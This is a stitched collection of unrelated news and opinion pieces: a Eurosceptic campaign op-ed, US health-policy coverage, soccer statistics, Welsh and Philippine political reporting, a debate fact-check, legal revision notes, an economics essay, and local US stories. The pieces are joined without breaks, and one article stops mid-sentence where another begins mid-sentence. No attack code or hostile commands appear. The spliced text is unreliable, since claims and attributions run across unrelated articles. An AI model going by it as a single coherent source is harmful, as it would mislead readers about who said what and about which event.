Alex Salmond proved it in Scotland: cheerfulness pays. During the independence referendum campaign, he halved a 20-point deficit. (When it comes to the EU poll, the two sides are starting much closer to level pegging: this poll is eminently winnable.) Apparently, SNP leaders were taught to be sanguine by an American political strategist who, in an exercise, handed out bags of pennies and made them put one on the table every time they said something negative. That strategist was (for once the expression seems apt) worth every penny. Against the scare-mongering of the “No” campaign, Salmond’s optimism blazed like a supernova, and many voters were won over. So, my fellow Eurosceptics, don’t whine about being overrun by foreigners, or about the referendum being rigged, or about media bias. Talk, rather, about how Britain can thrive as a merchant and maritime power, playing its full part in world affairs while living under its own laws.
Be cross-party
Broadcasters, in particular, love to frame the EU debate as some kind of internal Tory row. But that will be impossible in a national campaign. Representative government isn’t a Left- or Right-wing concept, for Heaven’s sake. Wanting to end the supremacy of EU law isn’t a “nationalist” position; it’s a democratic position. This campaign will be won, not by Tory backbenchers, nor by Ukippers, but by a broad alliance, in which the democratic Left will be well represented, and in which Eurosceptic business leaders will be prominent.
Be positive
Don’t just bang on about Brussels scams and nuisances. I know there are plenty of them: the fraud, the waste, the over-regulation, the quashing of referendums, the fisheries disaster, the euro. But even when people agree individually with the points you’re making, they’re put off by a gloomy tone. Instead of moaning about what’s going wrong, talk about what will go right. Britain is a great country: the sixth economic power in the world and the fourth military power, a member of the G7 and the UN Security Council, home of the world’s chief city and foremost language. We can flourish as an independent nation, trading with our allies in Europe and also with older friends on more distant continents.
Be business-friendly
Supporters of membership are floating the idea that withdrawal from the EU’s political structures implies withdrawal from the European market. This is piffle, and they know it, but one or two journalists, whether from partiality or credulousness, are running with the notion. In truth, every neighbouring state enjoys unrestricted trade with the EU: Iceland, Switzerland, Andorra, Macedonia, Turkey, the lot. Everyone in Brussels knows that Britain would remain in the common market, just as, say, the Channel Islands do today. Guy Verhofstadt made a speech last week in which he specifically proposed a category of “associate membership” open to the UK and any others who wanted it, based on full participation in the internal market without political union. Businesses would be able to trade with the EU on the same terms as now, but with lower regulatory costs. It suits Swiss firms; it would suit ours, too.
Be practical
The EU pushes up our fuel bills (through directives on renewable energy) our food bills (through the Common Agricultural Policy) and our taxes (through the quadrupling of Britain’s net budget contribution since 2009). These are, for many people, the main components of a household budget. Why get into abstract discussions about sovereignty when there are such strong day-to-day arguments against membership? Your recycling is no longer collected on a weekly basis? That’s the EU’s Landfill Directive. The hassle of opening a bank account, with all your old utilities bills? That’s the Money Laundering Directive. The cost of a Home Information Pack? That’s the… oh, you get the picture.
Be internationalist
Our future outside the EU is not as a nostalgic or parochial country. We are a global nation, connected by language and law to every continent and archipelago. Our objection to the EU is precisely that it is too self-regarding, too uninterested in the rest of the world. Brussels has suspended its free-trade talks with India, but the EFTA countries are pushing ahead. Brussels is conducting no trade negotiations with China, but Iceland and Switzerland have just signed FTAs with that country. As the share of our exports taken by the EU falls, the costs of being bound by a common external tariff and trade policy rise.
Be modern
Of all the bizarre accusations thrown at Eurosceptics, the oddest is that we “want to live in the 1950s”. In truth, it’s the EU that is a product of that decade, and it’s showing its age. The rest of the world has moved on, but Eurocrats remain tied to their corporatism, their belief in big blocs, their price-fixing, their protectionism against Google and Uber and Apple. Britain can do better. We are a restless, bold, inventive people. Why remain in the world’s only stagnant customs union?
Be inclusive
Don’t get trapped into talking about the supposed Eurosceptic core issues. Lots of trade unionists dislike the EU because of the immiseration of southern Europe. Lots of democratic socialists, echoing Tony Benn, shudder at the elitist and autocratic nature of the Brussels institutions. Lots of Britons from Commonwealth backgrounds resent – and are right to resent – the way that they have difficulty bringing auntie over for a wedding when we have open borders for EU nationals with no connection to the UK. A fairer deal for the Commonwealth is one of the great prizes of a post-EU future, and we should take every opportunity to say so.
Be cheerful
All right, this is a repeat of 1. But I’m going to say it again anyway because it’s so bloody important. You can’t sound cheerful when you’re talking about Romanians undercutting wages or about health tourism. So don’t. Talk about the better future that awaits us as an independent people, fulfilling our global vocation. We can win this.
Daniel Hannan is a Conservative Member of the European Parliament and blogs at www.hannan.co.uk.
ShareBack in late January, 2016, Sen. Bernie Sanders’ (I-Vt.) “Medicare for All” plan seemed so out there, CBS News reported his then-rival Hillary Clinton assured Iowa voters in Des Moines she’d focus on fighting for the Affordable Care Act (ACA), not a single-payer healthcare system that will “never, ever come to pass.”
In U.S. politics, Iowa has long been seen as a bellwether for the national mood. And sure enough, local supporter Derry O’Connor told CBS News he’d caucus for Hillary Clinton in part because he agrees with her on healthcare. “I think if they ever got there, it would be very good,” he explained. “I don’t see it happening. Look what happened when they tried to expand Medicaid to all the states in the country.” At the time, the Democratic-Socialist senator from Vermont came across to many voters as an impractical, wild-haired idealist.
Fast forward 20 months later and we’ve got Business Insider reporting, “Bernie Sanders is getting some serious support in his push to reform the U.S. healthcare system.” On Wednesday, he plans to introduce his Medicare-for-all bill in the Senate. His plan would take Obamacare to a higher level by offering Medicare — now offered only to people over age 65 — to all Americans. Medicare’s not perfect, but it’s a highly popular program offering what’s widely seen as high-quality healthcare for reasonable rates.
Top Democrats jumping on board the Bernie Sanders’ “Medicare for All” train include Sen. Elizabeth Warren (D-Mass.), Sen. Cory Booker (D-N.J.), and Sen. Kamala Harris (D-Calif.), and now — according to the NY Daily News — Sen. Kirsten Gillibrand (D-N.Y.).
So what’s going on here? For starters, the idea of the kind of government-run healthcare system Bernie Sanders proposes is gaining in popularity. In June, a Pew Research Poll had 60 percent of American voters saying the U.S. government should ensure that all of us have health coverage. Billionaire investor Warren Buffett and — as reported by the Inquisitr in August — California hedge funder Tom Steyer, former vice president Al Gore, and former president Jimmy Carter have also come out in favor of single-payer.
Aaron Blake from the Washington Post mentions these top Democrats are on his short list for a 2020 presidential run. “What do those four senators have in common?” he asks rhetorically. “Well, they just happen to constitute four of the eight most likely 2020 Democratic presidential nominees, according to the handy list I put out Friday.” Blake ventures, “That four of the first five to come out in support of Sanders’s bill all came from a relatively small universe of top presidential hopefuls suggests that this will be a litmus test issue in 2020.” He then adds, “And any hopeful that doesn’t support it is going to stand out like a sore thumb.”
Bernie Sanders, on the other hand, has been pro-“Medicare for All” since at least the 1990s. Here he is on C-Span sounding much as he does today.
null
Now that House and Senate Republicans have a real possibility of repealing Obamacare, an August poll by the Kaiser Family Foundation shows Obamacare has never been more popular. 52 percent of Americans feel favorably towards it — up 20 points since the ACA’s low point in November 2013 — just 39 percent view it unfavorably, and 8 percent don’t know.
null
Yet for many, as pointed out by CNN Money Watch, the problem isn’t having more affordable access to healthcare, it’s that — even with Obamacare’s protections — their coverage isn’t at all affordable. 85 percent of those with Obamacare get help from subsidies. “But,” the article explains, “For many middle-class Americans — a single person earning more than $47,520 or a family of four with an income of $97,200 — the pricey premiums and deductibles mean health care coverage remains out of reach.” Meanwhile, Bernie Sanders’ “Medicare for All” would save money and guarantee universal coverage.
Larry Levitt, senior vice president at the Kaiser Family Foundation explains part of the problem is that healthcare in the U.S. is extremely expensive. In fact, Americans spend more per capita on healthcare than people in other developed nations.
null
Yet despite the high costs, our outcomes are among the worst in the developed world.
null
This may have something to do with the fact that among Organization for Economic Co-operation and Development (OECD) nations, only the U.S. has an almost entirely privatized healthcare system run mostly by for-profit companies. In 2014, Physicians for a National Health Plan (PNHP) circulated a chart via Twitter with the total compensation for health insurance company CEOs in 2013. They also included a link to an article with more details.
null
The bill is unlikely to pass given that Republicans control both houses of Congress. Still, Bernie Sanders’ “Medicare-for-All” plan is gathering steam in the U.S. Senate. Meanwhile, the majority of House Democrats signed on to Rep. John Conyers’ (D-Mich.) H.R. 676 Expanded & Improved Medicare For All Act back in January.
Here’s a video with Newsy‘s report on Bernie Sanders’ healthcare plan.
[Featured image by Win McNamee/Getty Images]Columbus Crew SC played to a scoreless draw with the Chicago Fire at Toyota Park Saturday night. The Black & Gold earned their first point of the season, but were hoping for a more gratifying result. Let’s take a look at Saturday’s rivalry match by the numbers.
4
Saturday was an impressive performance by both clubs on the defensive end. Crew SC limited Chicago to only four total shots, including two that were blocked. That’s the least amount of shots the Fire have taken since August 16, 2014. Columbus tripled that amount with 12 shots, but only four were on frame. Both goalkeepers, Steve Clark and Matt Lampson, earned their first shutouts of the season.
18
As mentioned, defense was the highlight for both teams. The ball danced around the box on both ends, and the seemingly slippery sod led to several turnovers, but both Chicago and Crew SC kept a clean slate with 18 clearances a piece. The Black & Gold also made 18 tackles to keep the ball at their feet, compared to the Fire’s nine.
84
Columbus made its passes count and ensured they were connecting on the pitch. For the second time this season, Crew SC finished a match with 84 percent passing accuracy, with the first time coming in the season opener against Portland. The Black & Gold attempted 584 total passes at Toyota Park, 368 of which were in the attacking half.
100
Ethan Finlay reached the century mark against Chicago. When the first whistle blew in Bridgeview, Columbus’ right winger officially made his 100th regular-season appearance in Major League Soccer and for his team. Since signing his professional contract with the Crew SC in 2012, Finlay has made the Capital City his home and has proved himself an offensive threat in the League. Sixty-three of his 100 appearances came in the 2014 and 2015 regular seasons, including one in every Crew SC match last year (34).Media playback is unsupported on your device Media caption Darren Millar said Carl Sargeant was unhappy and that bullying was "taking a toll" on him
Carl Sargeant revealed allegations of bullying in the Welsh Government to a Conservative AM three years ago, the Senedd has heard.
In a dramatic statement, Darren Millar said he submitted questions to First Minister Carwyn Jones about bullying in 2014, at the Labour minister's request.
Mr Sargeant was found dead four days after being sacked from the cabinet.
The Welsh Government said Mr Jones stood by his previous answers on the matter.
Clwyd West AM Mr Millar said on Tuesday he felt a "moral obligation" to speak out. One AM, who was in the chamber at the time of the statement, said members were visibly shocked.
Mr Millar said he had a private conversation with Mr Sargeant in October 2014 when the late minister said he was "unhappy because there was bullying going on within the Welsh Government which was coming from an individual in the First Minister's office".
This was "taking a toll on him personally along with others", Mr Millar said.
The Tory AM said he would not name the individual - Mr Millar stated that Mr Sargeant never accused the first minister Carwyn Jones of bullying.
Two weeks later, in the assembly members' tea room, Mr Sargeant gave him a hand-written note containing draft questions to submit to Carwyn Jones.
Mr Miller said he re-drafted the questions and showed them to Mr Sargeant before tabling them.
"His only motivation in disclosing the problems in the Welsh Government to me and requesting my support in this way was to attempt to resolve the frustration and stress of the ongoing situation at that time for him and his colleagues in the Welsh Government," Mr Millar said.
Image caption Carl Sargeant was sacked as communities and children's secretary four days before his death
Mr Sargeant, who was the AM for Alyn and Deeside, acted out of loyalty to the government and Labour, he added.
At the time, Mr Millar asked whether the first minister had ever received any reports or been made aware of allegations of bullying by advisers to the government.
The first minister replied that no allegations were made - an answer that "surprised and disappointed" Mr Sargeant, Mr Millar said.
Analysis by Mark Palmer, BBC Wales political unit
Image caption Darren Millar made the claims in what was billed as a personal statement
This was a dramatic moment that left some assembly members visibly shocked.
AMs are often seen working on their Senedd computers as debates continue in front of them - but not on this occasion.
Those present sat up and listened as Mr Millar delivered what was billed as a "personal statement".
Some had an inkling of what it was all about, but they weren't expecting him to go into such detail.
One AM said he saw others leave the chamber in tears.
The first minister wasn't there to hear Mr Millar.
The 2014 questions resurfaced following Mr Sargeant's death in November, with Mr Jones saying: "Any issues that were brought to my attention at that time were dealt with."
Those answers are now the subject of an investigation into whether Mr Jones misled the assembly.
An independent adviser - former lawyer James Hamilton - will publish a report into whether the First Minister broke the ministerial code.
Ministers who do so are expected to resign.
Mr Millar has said he wants to provide evidence to the Hamilton investigation.
A Welsh Government spokeswoman said: "The first minister stands by his previous answers on this matter and has already encouraged people to provide any relevant evidence to the independent advisor."Story highlights Obama touts mandate for free contraception coverage for women
President alleges Romney wants employers to decide who gets contraception through insurance
Romney says characterization is incorrect
Romney opposes mandate, saying it infringes on religious liberty, even with adjustments for some groups
President Barack Obama on Tuesday tried to draw a distinction between himself and GOP challenger Mitt Romney on contraceptives. He boasted that Obama's Affordable Care Act gives insured women free contraception coverage, and said Romney thinks employers should decide whether women can get contraception through insurance.
Obama made the statements at Tuesday's presidential debate in Hempstead, New York. Romney, who has said he wants to repeal the Affordable Care Act and also takes issue with part of the contraceptive coverage rule, countered that Obama misrepresented his stance.
The statements:
Obama:
"A major difference in this campaign is that Gov. Romney feels comfortable having politicians in Washington decide the health care choices that women are making. I think that's a mistake. In my health care bill, I said insurance companies need to provide contraceptive coverage to everybody who is insured.... Gov. Romney not only opposed it, he suggested that in fact employers should be able to make the decision as to whether or not a woman gets contraception through her insurance coverage."
Romney:
"I don't believe that bureaucrats in Washington should tell someone whether they can use contraceptives or not, and I don't believe employers should tell someone whether they can have contraceptive care or not. Every woman in America should have access to contraceptives, and the president's statement of my policy is completely and totally wrong."
JUST WATCHED Ohio Focus Group on low points of debate Replay More Videos... MUST WATCH Ohio Focus Group on low points of debate 04:55
JUST WATCHED Zingers from second presidential debate Replay More Videos... MUST WATCH Zingers from second presidential debate 02:16
Photos: The second presidential debate Photos: The second presidential debate The second presidential debate – Republican presidential candidate Mitt Romney and U.S. President Barack Obama shake hands following the second presidential debate at Hofstra University in Hempstead, New York, on Tuesday, October 16, moderated by CNN's Candy Crowley. See the best photos of the first presidential debate. Hide Caption 1 of 29 Photos: The second presidential debate The second presidential debate – President Obama and first lady Michelle Obama embrace after the debate. Hide Caption 2 of 29 Photos: The second presidential debate The second presidential debate – U.S. President Barack Obama and Republican presidential candidate Mitt Romney point fingers at each other. Hide Caption 3 of 29 Photos: The second presidential debate The second presidential debate – U.S. President Barack Obama and Republican presidential candidate Mitt Romney speak over each other. Hide Caption 4 of 29 Photos: The second presidential debate The second presidential debate – President Obama and Republican presidential nominee Romney point the finger at each other. Hide Caption 5 of 29 Photos: The second presidential debate The second presidential debate – CNN's Candy Crowley moderates the second presidential debate between President Obama and Republican presidential candidate Mitt Romney. Hide Caption 6 of 29 Photos: The second presidential debate The second presidential debate – President Obama and Romney clash during the debate. Hide Caption 7 of 29 Photos: The second presidential debate The second presidential debate – Romney and President Obama interrupt each other during the debate. Hide Caption 8 of 29 Photos: The second presidential debate The second presidential debate – Republican presidential nominee Mitt Romney and U.S. President Barack Obama debate. Hide Caption 9 of 29 Photos: The second presidential debate The second presidential debate – U.S. President Barack Obama and Republican presidential candidate Mitt Romney both speak at the same time. Hide Caption 10 of 29 Photos: The second presidential debate The second presidential debate – Republican presidential nominee Mitt Romney and President Obama go head to head. Hide Caption 11 of 29 Photos: The second presidential debate The second presidential debate – Romney gestures to make a point as President Obama looks on. Hide Caption 12 of 29 Photos: The second presidential debate The second presidential debate – U.S. President Barack Obama and Republican presidential candidate Mitt Romney square off. Hide Caption 13 of 29 Photos: The second presidential debate The second presidential debate – U.S. President Barack Obama listens to Republican presidential candidate Mitt Romney. Hide Caption 14 of 29 Photos: The second presidential debate The second presidential debate – President Obama promotes his policies as Mitt Romney listens. Hide Caption 15 of 29 Photos: The second presidential debate The second presidential debate – Republican presidential candidate Mitt Romney addresses a question as President Obama listens. Hide Caption 16 of 29 Photos: The second presidential debate 14 debate 1016 – President Obama awaits his turn to speak. Hide Caption 17 of 29 Photos: The second presidential debate The second presidential debate – U.S. President Barack Obama and Republican presidential nominee Mitt Romney greet the audience. Hide Caption 18 of 29 Photos: The second presidential debate The second presidential debate – Republican presidential candidate Mitt Romney and U.S. President Barack Obama greet each other on stage. Hide Caption 19 of 29 Photos: The second presidential debate The second presidential debate – U.S. President Barack Obama and Republican presidential nominee Mitt Romney shake hands.6. Hide Caption 20 of 29 Photos: The second presidential debate The second presidential debate – President Obama and Republican presidential candidate Romney shake hands before the start of the debate. Hide Caption 21 of 29 Photos: The second presidential debate The second presidential debate – Moderator Candy Crowley of CNN speaks to the audience prior to the start of a town hall-style presidential debate. Hide Caption 22 of 29 Photos: The second presidential debate The second presidential debate – Ann Romney, wife of Republican presidential candidate Mitt Romney, speaks with members of the audience before the start of the second presidential debate at Hofstra University in Hempstead, New York, on Tuesday, October 16. Hide Caption 23 of 29 Photos: The second presidential debate The second presidential debate – First lady Michelle Obama awaits the start of the second presidential debate. Hide Caption 24 of 29 Photos: The second presidential debate The second presidential debate – Republican presidential candidate Mitt Romney and his wife Ann await the start of the second presidential debate in a holding room. Hide Caption 25 of 29 Photos: The second presidential debate The second presidential debate – The audience gathers in the stands prior to the start of the presidential debate on Tuesday. Hide Caption 26 of 29 Photos: The second presidential debate The second presidential debate – Co-chairs Frank Fahrenkopf, left, and Mike McCurry of the Commission on Presidential Debates speak in the lead up to the town hall-style debate. Hide Caption 27 of 29 Photos: The second presidential debate The second presidential debate – Audience members take photographs while they wait for the debate to begin. Hide Caption 28 of 29 Photos: The second presidential debate The second presidential debate – Members of the audience have taken their seats. Hide Caption 29 of 29
JUST WATCHED CNN's Candy Crowley on moderating debate Replay More Videos... MUST WATCH CNN's Candy Crowley on moderating debate 06:48
The facts:
To make sense of the statements, we should examine what the Affordable Care Act's contraceptives rule does, and what Romney has said he objects to.
The rule initially required most insurance plans to provide free contraception coverage to women. By August 2011, the rule was amended to exempt certain religious employers, such as churches, synagogues and other houses of worship, from offering such coverage.
But other religiously affiliated organizations, including colleges and hospitals, were not exempt, and religious groups objected.
So, in February, the Obama administration announced what it called a compromise in which free contraception coverage still must be offered to employees of religiously affiliated colleges and hospitals, but health insurers -- rather than the employers -- would have to cover the cost.
Churches and other houses of worship retained the full exemption, meaning women who worked there had no guarantee of full contraception coverage
The requirement went into effect August 1, though the non-exempt religiously affiliated institutions such as colleges and hospitals can have up to August 1, 2013, to comply.
Some conservatives and religious groups, including some affiliated with the Catholic Church, continued to object, saying the rule still infringed on religious liberty and set a dangerous precedent by distinguishing between church and church-affiliated groups for conscience clauses.
Romney has said he would repeal the Affordable Care Act, which includes the contraceptives rule.
He also opposes the contraceptives rule specifically. In August, his campaign released a TV ad accusing Obama of mounting a "war on religion," saying that the health care law forces religious institutions to "go against their faith."
On February 10, the day the Obama administration announced the compromise, Romney said the rule still was "an assault on religious conviction," and suggesting that the insurance companies that would be forced to pay for contraception for employees of religiously affiliated colleges and hospitals could try to pass the cost on to the employers.
Around the same time, Romney said he supported proposed amendment that would have allowed employers to opt out of providing health care coverage they disagreed with on moral grounds. The proposal, which was killed in the Senate in March, was Senate Republicans' response to the controversy over contraception and religious employers, though it didn't specifically mention contraception. The proposal stated that the health care act imposes requirements that infringe on the rights and conscience of insurers and plan sponsors, and it would have established that |
to transfer and bury Jovani’s body in a site 30 meters away from where he was killed.
The “practice” of disposing bodies in the quarry was also corroborated by Avasalo in his affidavit dated July 10, 2009.
A self-confessed “asset” of Laud, Avasalo said that he witnessed the summary killings of 6 men, also hogtied and blindfolded, by members of the Anti-Crime Unit of the Davao City Police Office (ACU-DCPO) one night in December 2005.
A transcript obtained by Rappler of a July 2009 hearing on the search warrant described the killing of the victims: they were allegedly slaughtered like pigs.
Like Basilio, Avasalo was also instructed by Laud to transfer and bury the bodies.
The two, on separate occasions, confessed their participation in the disposal of the bodies and attested to the existence of dead bodies in the quarry to Police Senior Superintended Roberto Fajardo.
Avasalo approached the team of Fajardo in 2009 when they conducted an investigation inside the Laud quarry, while Basilio personally went to his office at Camp Crame in Quezon City after saying he “can no longer stand the bark of his conscience.”
What happened to the investigation?
A search of the Laud quarry done in July 2009 was covered by a search warrant issued by Branch 34 of the Manila RTC. In 2014, the Supreme Court's First Division upheld the grant of a search warrant for the quarry. (READ: SC on Davao Death Squad case: PNP can search quarry for bodies)
The search yielded “several human bones and skeletal fragments” from a site used as an ipil-ipil plantation, according to a press release by the CHR.
Justice Secretary Vitaliano Aguirre II, however, downplayed the bones found. Aguirre was previously Laud’s lawyer.
“The bodies did not prove anything,” he said in September 2016. “In fact, there were statements that they were bodies of people who were executed during the Japanese occupation."
CHR Region IX links to Duterte
In 2012, the CHR main office released a resolution based on its 2009 probe stating that it found "probable cause" and recommended that the Ombudsman investigate the "possible administrative and criminal liability" of Duterte in relation to the killings under his watch as Davao City mayor. (READ: Davao Death Squad: What ever happened to the investigations?)
The investigation of the Ombudsman, however, had been “closed and terminated", according to a letter sent by the Ombudsman to the CHR main office in January 2016.
The letter cited a fact-finding report dated May 5, 2014 submitted by the Field Investigation Office to Overall Deputy Ombudsman Arthur Carandang. The report quoted then CHR Region XI Director Alberto Sipaco Jr as saying that his office does not have any proof that the death squad does exist. The field investigation office also echoed Sipaco's statement that the allegations remain as "chismis and other gossips."
CHR Region XI covers Davao.
But in 2009, Sipaco, a member of Duterte's fraternity Lex Talionis, told then-United States ambassador to the Philippines Kristie Kenny that Duterte knew about the killings and permits them, according to a confidential cable published by WikiLeaks. (READ: Duterte 'admitted complicity' in Davao killings – WikiLeaks)
Almost 8 years since the initial investigation, new testimonies from Lascañas and Matobato prompted the CHR once again to form a new team to probe into the killings allegedly carried out by the known death squad.
Will more witnesses come forward? – Rappler.com
*$1 = P50Subsection (a)(2) and (3) is substituted for “the symbol described in subsection (a)(1) of this section; the emblem described in subsection (a)(2) of this section” because of the reorganization of the section.
In subsection (b), the words “or any trademark” are substituted for “as well as any trademark” to eliminate unnecessary words. The words “furnished... or for the use of” are omitted as unnecessary.
In subsection (c), the words “the corporation may file a civil action against a person” are substituted for “any person... shall be subject to suit in a civil action by the Corporation” for clarity.
In subsection (d)(2), the words “the words or any combination of the words described in subsection (a)(4) of this section, or a trademark, trade name, sign, symbol, or insignia described in subsection (c)(4) of this section” are substituted for “any other trademark, trade name, sign, symbol, or insignia described in subsections (a)(3) and (4) of this section” for clarity.The Economics of Valentine's Day
It’s Valentine’s Day, and as an economist there’s nothing I love more than free markets. There are three economic principles that are illustrated by Valentine’s Day: the importance of free markets and wealth creation, the logic of gift giving and signaling, and the seen and the unseen.
When we think about Valentine’s Day, one of the things we need to realize is our ability to appreciate and enjoy the holiday is the direct result of the wealth created by free markets. Prior to the rise of free markets in the 1700s and 1800s, only the wealthiest people in society, the elites, could even think about such things as giving gifts or spending leisure time with their significant others.
But with the spread of markets, the average citizen accumulated enough wealth in savings that they could afford to engage in leisure activities such as going out to dinner, going to a movie, or taking a vacation with their significant other. Moreover the average citizen can afford to purchase gifts and therefore signal their affection to the people they care about.
Gift giving for Valentine’s Day serves as the perfect illustration of the economic concept of signaling. Signaling involves one person providing information to another who doesn’t have that information. To provide an illustration of the importance of signaling, consider a case where two people have just started dating. The boy is considering what gift to get the girl. Now, on the one hand, the boy could give the girl cash. She could then use this cash to purchase something that she values. But this signal would be worthless. In other words, by the boy simply handing the girl cash, he doesn’t reveal any real information about how much he likes her.
Alternatively, he could get her the gift of the teddy bear that she’s been looking at in the store for the past several weeks. By getting this gift, what the boy does is reveal that he has paid attention to what the girl values and went out of his way not just to pay attention but to actually purchase it for her because she values it so much. By doing this he has sent a signal that he truly cares about what the girl values and what she likes.
Another economic concept illustrated by Valentine’s Day is the notion of the seen and the unseen. Many pundits point out that Valentine’s Day is somehow a stimulant for the economy, because people are spending large sums of money around Valentine’s Day. And it’s true that people do spend significant amounts of money on things like flowers, chocolates, going out to dinner, or going out to movies with their spouse or significant other. But what this neglects is that people would have spent that money otherwise. Or alternatively, perhaps they would have saved the money, and those savings could then be used by other people to engage in productive behaviors.
So when it comes to Valentine’s Day, pundits are wrong to think that somehow Valentine’s Day spending stimulates the economy. The right way to think about Valentine’s Day is the opportunity to find a gift that matters to the person that you care about. And in doing so, you can express your affection for that person.Please enable Javascript to watch this video
DENVER -- Sexting thrust Colorado into the national spotlight last year.
Cañon City High School reported that hundreds of students were caught sexting each other through various social media apps.
No charges were filed as the Fremont County District Attorney determined the punishment would be too severe for the teenagers and have lifelong effects.
Now some lawmakers in the General Assembly want sexting laws to change.
Republican State Rep. Yeulin Willett and Democratic State Rep. Rhonda Fields have introduced HB 1058, which would make sending a nude picture of yourself or someone else a misdemeanor for juveniles in the state.
“It made sense that we needed a change,” Willett said. “The main thing the bill does is give the DAs an option other than a felony."
Willett, a former attorney, said too often prosecutors do not pursue charges because the punishment does not fit the crime.
If a prosecutor wanted to go after a teen for sexting, they would have to charge him or her with a felony, which means the teen could go to jail and be required to register as a sex offender.
“At some point, when you see the prevalence of this, a new law is in order,” Willett said.
The law would still allow prosecutors to charge teens with a felony if the sexting was egregious. HB 1058 also states the sender and receiver of the nude picture must be within four years of age of each other.
As far as teenagers, some support the law, while others are worried their friends could end up in court.
“I just know that it happens a lot more than people think,” said Alex Horton, a freshman at Metro State University of Denver.
“It would just put a lot of kids in trouble that weren't trying to be in trouble,” said Courtney Wright, a sophomore at Metro.The Federal Attorney-General's second-in-command has encouraged the creation of a self-regulated industry code between internet service providers and rights holders to combat piracy issues.
Department secretary Roger Wilkins joins a growing chorus of views from rights holders, service providers, user groups and copyright experts agreeing an industry code would be preferable to further litigation or copyright legislation.
Wilkins initiated talks with several large service providers over the issue last month, in light of ongoing negotiations with rights holders.
He told attendees of the Copyright Law and Practice Symposium in Sydney that the speed, anonymity and cross-jurisdictional nature of online transactions meant "conventional" regulatory models had become "severely challenged".
"In order to safeguard and secure copyright... we need to take a look at a new and somewhat unconventional approaches to information and law enforcement," he sold.
"My belief is that solutions will rely on new business models that create incentives for consumers and other market participants to comply with the copyright law and also the technological innovation of the copyright owners.
"They are going to emerge through cooperative agreements and participation between copyright owners and service providers."
The existing Copyright Act provided space for an industry code to be formed on the issue, he said.
While Wilkins is effectively willing to take a back-seat to industry discussion, he warned Government involvement is required to facilitate an agreement and ensure consumer protections are safeguarded in any resulting industry code.
The Attorney-General's department is set to conduct further meetings with internet providers before the end of the year.
Talks between service providers and rights holders have been held separately from those with Government.
Those have been underway since November last year, with Communications Alliance CEO John Stanton this week championing success in reaching leeway with most affected creative industries.
Stanton said parties had made "more progress in the last six months than in the past five years" but just what kind of code would eventuate remains unclear.
Vanessa Hutley, former Microsoft counsel and lead for music and wider content rights groups, said copyright holders had moved for a "graduated response" mechanism such as those implemented in France and more recently in New Zealand.
The French experience, she said, had proved successful. A total of 650,000 first notices had been delivered since implementation in January 2010, according to blog TorrentFreak, and 44,000 owners received a second strike.
A total 60 users faced termination of internet access on their third strike.
Australian representatives of content owners, however, had not condoned a termination mechanism. Instead, ISPs would impose an "effective sanction" against users after sending multiple "educational" warnings under the suggested regime.
Hutley declined to comment on threats from smaller rights holders to begin mass individual lawsuits such as those attempted over the past decade in the US.
She said the continued negotiations with service providers were the preferred method.
Holly Raiche, of the Internet Society of Australia, singled the US memorandum of understanding signed earlier this year as an example of effective cooperation as it required a verified connection between the infringement and the user who had infringed.
But she warned Australian ISPs will first have to agree on a uniform acceptable usage policy for users, as many currently differed wildly on copyright provisions.
Read on to page two for the alternate path - copyright law changes.The nation's top state election officials say they'll keep fighting a Department of Homeland Security order that designates state and local election systems as "critical infrastructure," and aren't happy with the message they got this week that the designation will remain.
For the moment, that fight means lobbying congressional delegations to use whatever power is at their disposal to make DHS back off. Barring that, a separation of powers lawsuit may be their last option, but it's not clear yet if any state or coalition of states is willing to take that step just yet.
Indiana Secretary of State Connie Lawson will take over next month as president of the National Association of Secretaries of State, a group that originally opposed the critical infrastructure designation when it was created in the last days of the Obama administration.
"The association still stands behind the resolution that we passed in February," Lawson told the Washington Examiner. "We are against the designation."
Her remarks came after the group got a clear signal this week from Senate Intelligence Committee Chairman Richard Burr, R-N.C., that some kind of federal oversight of the local election process may be inevitable in the wake of Russia's election meddling. He said the secretaries could cooperate with the DHS designation, or face even greater control in the future by the feds.
"It is absolutely critical that we have not only a collaboration but a communication between the federal government and the states as it relates to our voting systems," Burr said at the end of an open committee hearing looking into the security of voting systems. "If not, I fear that there would be an attempt to, in some way, shape, or form, nationalize [voting systems]. That is not the answer."
The secretaries of state who are opposed say DHS and the executive branch have assumed powers not intended for them.
"We don't believe the federal government has a right to be in our states telling us how to run elections unless Congress passes an act," Lawson said.
She added that every secretary who voted months ago for the NASS resolution, which opposed the DHS designation, has been working to lobby their own congressional delegation.
The designation originated from the Obama administration, but got support from Trump's Secretary of Homeland Security John Kelly earlier this month. But in Wednesday's testimony, committee members learned that 21 states were potentially targeted by cyberattacks from Russian sources, though the scale and threat of those attacks aren't publicly known because DHS didn't share its information with the states.
While DHS seemed to get broad support from senators on the committee for the "critical infrastructure" designation, it also was criticized for not having been more proactive in communicating with state and local officials in sharing their knowledge of all of the possible attacks going on in 2016.
An NSA document was leaked in early June showing federal officials knew for parts of 2016 and most of 2017 about the numerous cyberattacks on local election systems in 21 different states. Local officials complained that if the document had not leaked, they might not have been informed at all about what federal officials had learned.
If a majority of secretaries of state want to take action to push back more forcefully against DHS, that could happen in early July in Indianapolis, when NASS meets for their annual conference.
The conference will feature a full day's work on cybersecurity issues, with representatives from the FBI and DHS in attendance, Lawson said.A 9-acre shopping center at 7300 Roswell Road in Sandy Springs will hit the market for some type of redevelopment, according to its property manager. But first, the owners are dealing with a former dry cleaner’s chemical pollution, which the state worries may be entering nearby homes as vapor.
North Springs Center is already mostly vacant, and anchor tenant Big Lots will close in mid-May, according to a manager. Some other remaining businesses said they have short-term leases and that there are rumors of redevelopment into apartments or condos.
“We do know it’s being sold as a redevelopment,” but no other details, said Don Goodman of Equitable Management Corporation, who manages North Springs Center for an ownership company called North Springs Associates.
According to property records, the center dates to 1969. It is zoned as a “Community Business District,” which includes townhomes among the many permitted uses, according to the city website.
Rich Arroll, the broker for the property, said he could not immediately comment at length beyond saying the center is not currently under contract to sell. Donna Maslia of Parian Properties, who is named in state records as a partner in the ownership company, did not return a phone call. Andrea Rimer, an environmental attorney for the owner, declined to comment. The city planning department has not received any redevelopment applications for the site, according to city spokesperson Sharon Kraun.
Rimer is involved because of North Springs Associates’ cleanup of the former Prestige Cleaners, a dry cleaner that operated in the center from 1996 until its eviction on Sept. 30, 2015, according to state records. The cleaner leaked toxic dry cleaning solvents, according to the state Environmental Protection Division.
“They have quite a bit of contamination in groundwater and also…in the soil,” said EPD’s David Brownlee.
The owner notified EPD of the contamination on Oct. 1, 2015, Brownlee said, and has been cleaning up the site, with the next report due June 30. The owner has removed a large amount of contaminated soil at the fenced-off Prestige storefront, and soon will do “chemical injections” into the ground to neutralize remaining solvent.
